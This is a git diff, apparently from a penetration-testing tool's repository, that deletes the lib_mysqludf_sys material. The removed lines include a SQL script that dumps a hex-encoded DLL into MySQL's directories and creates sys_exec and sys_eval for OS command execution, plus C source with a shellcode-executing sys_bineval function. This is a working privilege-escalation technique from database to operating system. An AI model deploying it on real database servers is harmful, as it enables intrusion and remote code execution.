-UPDATE udftest SET data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b);
-UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054);
-UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
-UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d);
-UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000);
-UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
-
-
--- Export the hexadecimal encoded UDF to a binary file on the file system
---
--- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
---
--- From MySQL 5.1 and 6.0 official documentation:
---
--- shared_library_name is the basename of the shared object file
--- that contains the code that implements the function. The file
--- must be located in the plugin directory. This directory is given
--- by the value of the plugin_dir system variable.
---
--- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin
---
--- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT
--- exist by default so it is NOT possible to save the DLL in the proper
--- folder where MySQL server looks for DLLs.
---
--- References:
--- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
--- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
---
--- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin
--- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19
--- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0
---
--- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
---
--- From MySQL 4.1 and 5.0 official documentation:
---
--- shared_library_name is the basename of the shared object file
--- that contains the code that implements the function. As of MySQL
--- M.m.m, the file must be located in the plugin directory. This
--- directory is given by the value of the plugin_dir system variable.
--- If the value of plugin_dir is empty, the behavior that is used
--- before M.m.m applies: The file must be located in a directory
--- that is searched by your system's dynamic linker.
---
--- References:
--- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
--- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
---
--- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
--- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22
--- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file,
--- which is the default setting)
--- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
--- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
--- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
---
--- Notes:
--- If the library file already exists, the user SYSTEM does not have access
--- to overwrite it
--- The following enumerates the MySQL data directory
--- SELECT @@datadir
--- The followings will save into @@datadir. It is a valid PATH where MySQL
--- looks for DLL
-SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll';
--- The followings will save into @@datadir\mysql where 'mysql' is the
--- database name where it is connected. It is not a valid PATH where MySQL
--- looks for DLL
--- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll';
--- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll';
--- The following will save into C:\. It is not a valid PATH where MySQL
--- looks for DLL
--- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll';
-
-
--- Create two functions from the binary UDF file
--- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
--- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
-DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
-DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
-CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
-CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
-
-
--- Test the two functions
-SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp
-SELECT sys_eval('echo %TEMP% && whoami');
-
-
--- Cleanup the file system and the database
-SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*');
-DROP TABLE IF EXISTS udftest;
--- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
--- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
-DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
-DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html b/extra/mysqludfsys/doc/lib_mysqludf_sys.html
similarity index 100%
rename from extra/mysqludfsys/lib_mysqludf_sys/doc/lib_mysqludf_sys.html
rename to extra/mysqludfsys/doc/lib_mysqludf_sys.html
diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll
deleted file mode 100755
index 8f62d0fb332a86311e07838b184cd8055c18ae69..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 6656
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
-#include
-#include
-#endif
-
-#ifdef STANDARD
-#include
-#include
-#include
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include
-#include
-#endif
-#include
-#include
-#include
-#include
-
-#include
-
-#ifdef HAVE_DLOPEN
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
-
-#ifdef __WIN__
-#define SETENV(name,value) SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value) setenv(name,value,1);
-#endif
-
-DLLEXP
-my_bool lib_mysqludf_sys_info_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-);
-
-DLLEXP
-void lib_mysqludf_sys_info_deinit(
- UDF_INIT *initid
-);
-
-DLLEXP
-char* lib_mysqludf_sys_info(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char* result
-, unsigned long* length
-, char *is_null
-, char *error
-);
-
-/**
- * sys_get
- *
- * Gets the value of the specified environment variable.
- */
-DLLEXP
-my_bool sys_get_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-);
-
-DLLEXP
-void sys_get_deinit(
- UDF_INIT *initid
-);
-
-DLLEXP
-char* sys_get(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char* result
-, unsigned long* length
-, char *is_null
-, char *error
-);
-
-/**
- * sys_set
- *
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable
- */
-DLLEXP
-my_bool sys_set_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-);
-
-DLLEXP
-void sys_set_deinit(
- UDF_INIT *initid
-);
-
-DLLEXP
-long long sys_set(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *is_null
-, char *error
-);
-
-/**
- * sys_exec
- *
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP
-my_bool sys_exec_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-);
-
-DLLEXP
-void sys_exec_deinit(
- UDF_INIT *initid
-);
-
-DLLEXP
-my_ulonglong sys_exec(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *is_null
-, char *error
-);
-
-/**
- * sys_eval
- *
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP
-my_bool sys_eval_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-);
-
-DLLEXP
-void sys_eval_deinit(
- UDF_INIT *initid
-);
-
-DLLEXP
-char* sys_eval(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char* result
-, unsigned long* length
-, char *is_null
-, char *error
-);
-
-/**
- * sys_bineval
- *
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP
-my_bool sys_bineval_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-);
-
-DLLEXP
-void sys_bineval_deinit(
- UDF_INIT *initid
-);
-
-DLLEXP
-int sys_bineval(
- UDF_INIT *initid
-, UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef __cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-){
- my_bool status;
- if(args->arg_count!=0){
- strcpy(
- message
- , "No arguments allowed (udf: lib_mysqludf_sys_info)"
- );
- status = 1;
- } else {
- status = 0;
- }
- return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
- UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char* result
-, unsigned long* length
-, char *is_null
-, char *error
-){
- strcpy(result,LIBVERSION);
- *length = strlen(LIBVERSION);
- return result;
-}
-
-my_bool sys_get_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-){
- if(args->arg_count==1
- && args->arg_type[0]==STRING_RESULT){
- initid->maybe_null = 1;
- return 0;
- } else {
- strcpy(
- message
- , "Expected exactly one string type parameter"
- );
- return 1;
- }
-}
-
-void sys_get_deinit(
- UDF_INIT *initid
-){
-}
-
-char* sys_get(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char* result
-, unsigned long* length
-, char *is_null
-, char *error
-){
- char* value = getenv(args->args[0]);
- if(value == NULL){
- *is_null = 1;
- } else {
- *length = strlen(value);
- }
- return value;
-}
-
-my_bool sys_set_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-){
- if(args->arg_count!=2){
- strcpy(
- message
- , "Expected exactly two arguments"
- );
- return 1;
- }
- if(args->arg_type[0]!=STRING_RESULT){
- strcpy(
- message
- , "Expected string type for name parameter"
- );
- return 1;
- }
- args->arg_type[1]=STRING_RESULT;
- if((initid->ptr=malloc(
- args->lengths[0]
- + 1
- + args->lengths[1]
- + 1
- ))==NULL){
- strcpy(
- message
- , "Could not allocate memory"
- );
- return 1;
- }
- return 0;
-}
-
-void sys_set_deinit(
- UDF_INIT *initid
-){
- if (initid->ptr!=NULL){
- free(initid->ptr);
- }
-}
-
-long long sys_set(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *is_null
-, char *error
-){
- char *name = initid->ptr;
- char *value = name + args->lengths[0] + 1;
- memcpy(
- name
- , args->args[0]
- , args->lengths[0]
- );
- *(name + args->lengths[0]) = '\0';
- memcpy(
- value
- , args->args[1]
- , args->lengths[1]
- );
- *(value + args->lengths[1]) = '\0';
- return SETENV(name,value);
-}
-
-my_bool sys_exec_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-){
- unsigned int i=0;
- if(args->arg_count == 1
- && args->arg_type[i]==STRING_RESULT){
- return 0;
- } else {
- strcpy(
- message
- , "Expected exactly one string type parameter"
- );
- return 1;
- }
-}
-
-void sys_exec_deinit(
- UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *is_null
-, char *error
-){
- return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char *message
-){
- unsigned int i=0;
- if(args->arg_count == 1
- && args->arg_type[i]==STRING_RESULT){
- return 0;
- } else {
- strcpy(
- message
- , "Expected exactly one string type parameter"
- );
- return 1;
- }
-}
-
-void sys_eval_deinit(
- UDF_INIT *initid
-){
-}
-
-char* sys_eval(
- UDF_INIT *initid
-, UDF_ARGS *args
-, char* result
-, unsigned long* length
-, char *is_null
-, char *error
-){
- FILE *pipe;
- char line[1024];
- unsigned long outlen, linelen;
-
- result = malloc(1);
- outlen = 0;
-
- pipe = popen(args->args[0], "r");
-
- while (fgets(line, sizeof(line), pipe) != NULL) {
- linelen = strlen(line);
- result = realloc(result, outlen + linelen);
- strncpy(result + outlen, line, linelen);
- outlen = outlen + linelen;
- }
-
- pclose(pipe);
-
- if (!(*result) || result == NULL) {
- *is_null = 1;
- } else {
- result[outlen-1] = 0x00;
- *length = strlen(result);
- }
-
- return result;
-}
-
-my_bool sys_bineval_init(
- UDF_INIT *initid
-, UDF_ARGS *args
-){
- return 0;
-}
-
-void sys_bineval_deinit(
- UDF_INIT *initid
-){
-
-}
-
-int sys_bineval(
- UDF_INIT *initid
-, UDF_ARGS *args
-){
- int32 argv0_size;
- size_t len;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
- int pID;
- char *code;
-#else
- int *addr;
- size_t page_size;
- pid_t pID;
-#endif
-
- argv0_size = strlen(args->args[0]);
- len = (size_t)argv0_size;
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
- // allocate a +rwx memory page
- code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- strncpy(code, args->args[0], len);
-
- WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
-#else
- pID = fork();
- if(pID<0)
- return 1;
-
- if(pID==0)
- {
- page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
- page_size = (len+page_size) & ~(page_size); // align to page boundary
-
- // mmap an rwx memory page
- addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
-
- if (addr == MAP_FAILED)
- return 1;
-
- strncpy((char *)addr, args->args[0], len);
-
- ((void (*)(void))addr)();
- }
-
- if(pID>0)
- waitpid(pID, 0, WNOHANG);
-#endif
-
- return 0;
-}
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter)
-{
- __try
- {
- __asm
- {
- mov eax, [lpParameter]
- call eax
- }
- }
- __except(EXCEPTION_EXECUTE_HANDLER)
- {
-
- }
-
- return 0;
-}
-#endif
-
-#endif /* HAVE_DLOPEN */
\ No newline at end of file
diff --git a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch b/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
deleted file mode 100644
index 7e09a9bc7..000000000
--- a/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
+++ /dev/null
@@ -1,354 +0,0 @@
-diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
---- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
-+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
-@@ -0,0 +1,43 @@
-+#!/bin/bash
-+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-+# Copyright (C) 2007 Roland Bouman
-+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
-+# web: http://www.mysqludf.org/
-+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
-+#
-+# This library is free software; you can redistribute it and/or
-+# modify it under the terms of the GNU Lesser General Public
-+# License as published by the Free Software Foundation; either
-+# version 2.1 of the License, or (at your option) any later version.
-+#
-+# This library is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+# Lesser General Public License for more details.
-+#
-+# You should have received a copy of the GNU Lesser General Public
-+# License along with this library; if not, write to the Free Software
-+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-+
-+echo "Compiling the MySQL UDF"
-+make
-+
-+if test $? -ne 0; then
-+ echo "ERROR: You need libmysqlclient development software installed "
-+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
-+ echo "apt-get install libmysqlclient15-dev"
-+ exit 1
-+else
-+ echo "MySQL UDF compiled successfully"
-+fi
-+
-+echo -e "\nPlease provide your MySQL root password"
-+
-+mysql -u root -p mysql < lib_mysqludf_sys.sql
-+
-+if test $? -ne 0; then
-+ echo "ERROR: unable to install the UDF"
-+ exit 1
-+else
-+ echo "MySQL UDF installed successfully"
-+fi
-Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
-diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
---- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
-+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
-@@ -1,8 +1,9 @@
- /*
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2007 Roland Bouman
-- web: http://www.xcdsql.org/MySQL/UDF/
-- email: mysqludfs@gmail.com
-+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
-+ web: http://www.mysqludf.org/
-+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
